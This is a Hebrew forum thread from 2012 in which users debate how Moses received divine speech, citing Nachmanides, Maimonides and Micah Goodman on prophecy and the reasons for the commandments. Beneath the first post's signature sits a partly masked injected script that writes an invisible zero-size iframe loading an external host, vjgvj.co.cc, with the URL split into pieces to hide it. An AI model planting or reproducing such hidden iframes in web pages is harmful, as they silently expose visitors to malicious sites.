| נשלח ב-26/6/2012 16:25 |
 |
| |
וידבר ה' אל משה לאמור: כיצד ?
דייר שאל (באשכול על החויה הדתית וניתוחה):
למה לא לגשת למקור?
תפתחו חומש ותראו אם הדת שלנו באמת מבוססת על חוויות.
אני לא נתקלתי בביסוס כזה אם אתם מכירים אחרת אני אשמח לשמוע.
יהי אור ענה:
וידבר ה' אל משה לאמר.
ומיימוני הכותב שורות אלו, המשיך:
יהי אור
איקון ירוק על הדוגמא שלך לדייר!
אמנם כרגיל לא הייתי מפרש את הפסוק כמתאר חויה אלא התגלות ודאית. כמובן היה מקום מעניין מאד לשאול את משה איך התנהל המפגש. במסורת שלנו יש תשובות מעניינות מאד שבאות לענות על השאלה.
לדוגמא, והדבר ראוי לאשכול בפני עצמו:
הרמב"ן: ה' מכתיב ומשה כותב.
הרמב"ם האיזוטרי: משה הבין בשכלו שכך ראוי להנהיג בעם ישראל ואמר זאת בשם ה' כי השכל הוא המלאך המתווך בין האלוקים לאדם.
***
נדמה לי שכבר היה אשכול כזה פעם ובשם דומה מאד. כדאי לבדוק.
אבל תמיד יש מקום לאשכול חוזר או חדש.
(כיון שזה פיתוח של אשכול קיים, זה לא נזקף על חשבון מספר האשכולות השבועי...).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מנהלי_משנה ב- 26/06/2012 16:48:16
 |
|
|
|
|
| נשלח ב-26/6/2012 16:44 |
|
| |
לגבי הרמב"ם האזוטרי שהזכיר מיימוני, כותב מיכה גודמן ב"סודותיו של מורה הנבוכים" עמ' 187:
"משה התבונן בטבע, הבין לעומק את חכמת אלוהים שבו ותרגם אותם לחוקים המעצבים חברה אידיאלית ובני אדם אידיאליים. לא אלהים כתב את הספר ...הוא אינו מדבר, אינו כותב ואינו מכתיב...משה רבנו התבונן בעולם וכתב את התורה...אלוהים ברא את הטבע ומשה הוא שכתב את התורה...לסיכום ניתן לומר כי אף על אף שאלוהים לא כתב את התורה, התורה אלוהית"
לענין האשכול, צריך להקדים ולהגדיר (חוויית ה-) נבואה מהי ? ומהו ייחודה של נבואת משה והדברים ארוכים ורבות השיטות.
|
|
|
|
| נשלח ב-26/6/2012 16:51 |
|
| |
אולי מישהו מוכן להסביר מה הקשר בין התבוננות בטבע, לבין חליצה?
|
|
|
|
| נשלח ב-26/6/2012 16:55 |
|
| |
בעל
לפעמים כותבים רק בשביל המילים היפות ומה שנשמע טוב.
|
|
|
|
| נשלח ב-26/6/2012 16:56 |
|
| |
בעל
לאור המנהגים שנהגו בזמן ההוא, לא רחוק לשער. [טבע כולל את הטבע האנושי] . החליצה הוא טקס השפלה שנועד לענוש ולהרתיע את מי שאינו רוצה לבנות את בית אחיו.
|
|
|
|
| נשלח ב-26/6/2012 16:58 |
|
| |
נמשיך
תפילין, ציצית וכו'
והאם משה ראה בטבע שמצוות נועדו לזקק את הבריות ולכן הוא קבע ששחיטה היא דווקא מהצוואר?
|
|
|
|
| נשלח ב-26/6/2012 17:03 |
|
| |
תפילין וציצית הם אותות להזכיר א"ע כל המצוות וההשתייכות. זה פסוק מפורש.
תלוי איך מפרשים לצרף את הבריות. [מחלוקת רמב"ן ורמב"ן] אם הפירוש [נדמה כרמב"ן] שהם לחנך ולעדן אותנו, אז משה הבין שלשחוט מן הצוואר יותר רחמני. לפירוש האחר אכן המדרש הזה סובר שאין טעם למצוות, ועדיין אפשר שמשה הבין בטבע האדם שהוא צריך ליצרוף כזה.
|
|
|
|
| נשלח ב-26/6/2012 17:05 |
|
| |
בקיצור
כל מה שלא מדבר ללבי באסכולת שמים בתורה.
|
|
|
|
| נשלח ב-26/6/2012 17:08 |
|
| |
תפרט ונראה. לפי קריאתי הפשוטה בחומש הכתוב מבין שרוב המצוות הם מובנים ופשוטים.
לגבי הלב שלך אין לי עצה.
|
|
|
|
| נשלח ב-26/6/2012 17:19 |
|
| |
מיכה גודמן אמור גם להסביר את פרשת פרה אדומה שנקרא השבת.
|
|
|
|
| נשלח ב-26/6/2012 17:20 |
|
| |
כמותו גם רש"י בשם ר' משה הדרשן. [טוב, שערי דרשנות לא ננעלו.]
אגב, רוב הראשונים מפרשים גם את החוק הזה שהכוונה רק לשלב מסויים, באמת גם זה מוסבר. [צריך לחפש במו"נ וכו'.
וכמו"כ על רקע התקופה גם זה לא רחוק מלהיות מובן. יש אשכול של מיימוני על זה.
תוקן על ידי יהיאור ב- 26/06/2012 17:21:51
|
|
|
|
|
| נשלח ב-26/6/2012 17:24 |
|
| |
בדיחה גרועה. ומכל מקום, למה שהגיונו של משה יחייב מישהו אז?
למה שהגיונו של משה יחייב מישהו היום?
במה זה שונה מחוקי חמורבי. שחמורבי היה מספיק אמיתי בשביל לא לעבוד על אנשיו ולטעון שהא-ל דיבר איתו?
תוקן על ידי eli_s ב- 26/06/2012 17:24:11
|
|
|
|
| נשלח ב-26/6/2012 17:30 |
|
| |
אלי.
הגיונו של משה אכן לא יכול לחייב עכשיו. מה שיכול לחייב הוא ההגיון עצמו, אם יש בה הגיון זה לא תלוי מי ומתי. [וגם זה לא באמת מחייב כידוע]
אנחנו דנים כאן על הסבר מעשיו של משה כפי העולה מהתורה. לא על החיוב לקיים אותה כיום.
כשאני קורא בתורה אני לא מזהה שום דרישה לציות לחוקים שאין להם טעם. [כן, גם כל הדבורים על זאת חקת התורה הם דרש בלבד, ע"פ פשט זה לא נכון כלל.] אלא סדר של חוקים שנראה שבעיני הכותבם הם היו הגיוניים וסבירים מאד. [לא מוכרחים לוגית, אלא סבירים להתיקן כחוק בעם] והוא טורח להסביר את טעמו במקומות בהם זה לא היה ברור מאליו.
גם כשהוא מבטיח שכר ועונש לא נראה ממנו שזהו הסיבה היחידה לקיים את זה, אלא שעל מה שסביר בעיניו לדרוש הוא מאיים בשכר ועונש.
האם זה סותר את זה שזה נאמר בנבואה?, האם הוא מייתר את הצורך בנבואה כפשוטו? שאלות טובות, שבזה אמור בעצם האשכול לעסוק.
|
|
|
|
| נשלח ב-26/6/2012 17:34 |
|
| |
זה לא סותר ולא קשור לעניין. למען האמת זה גם לא קשור ליהדות (חוץ מלפלג הקרוי דת מקסמן).
לנושא האשכול:
להבנתי יש הבדל גדול בין אמירה בפועל לחוויות אחרות.
בעוד שמיעה היא תכונה השווה אצל כל בני האנוש וניתן לנו לבדוק רק את האמינות הדובר, אמינות השומע, האפשרות הסטטיסטית וכו', תחושות אחרות הינן סובייקטיביות ומעבר לספק שלנו, גם לשומע צריכות להיות ספקות לגביי חוויתו. ק"ו לנו .
|
|
|
|
| נשלח ב-26/6/2012 17:39 |
|
| |
אלי
אתה מדבר אלי? [לא הבנתי]
אם אתה מנסה לחלק בין שמיעה נבואית לבין תחושות אחרות, אז דע לך שאף אחד [כמעט] לא חושב שהנביא שומע קול יוצא מהשמים כפשוטו [כלשון רג"נ, כמו בטייפ] וממילא חזרנו לסוגי תחושות אחרות.
|
|
|
|
|
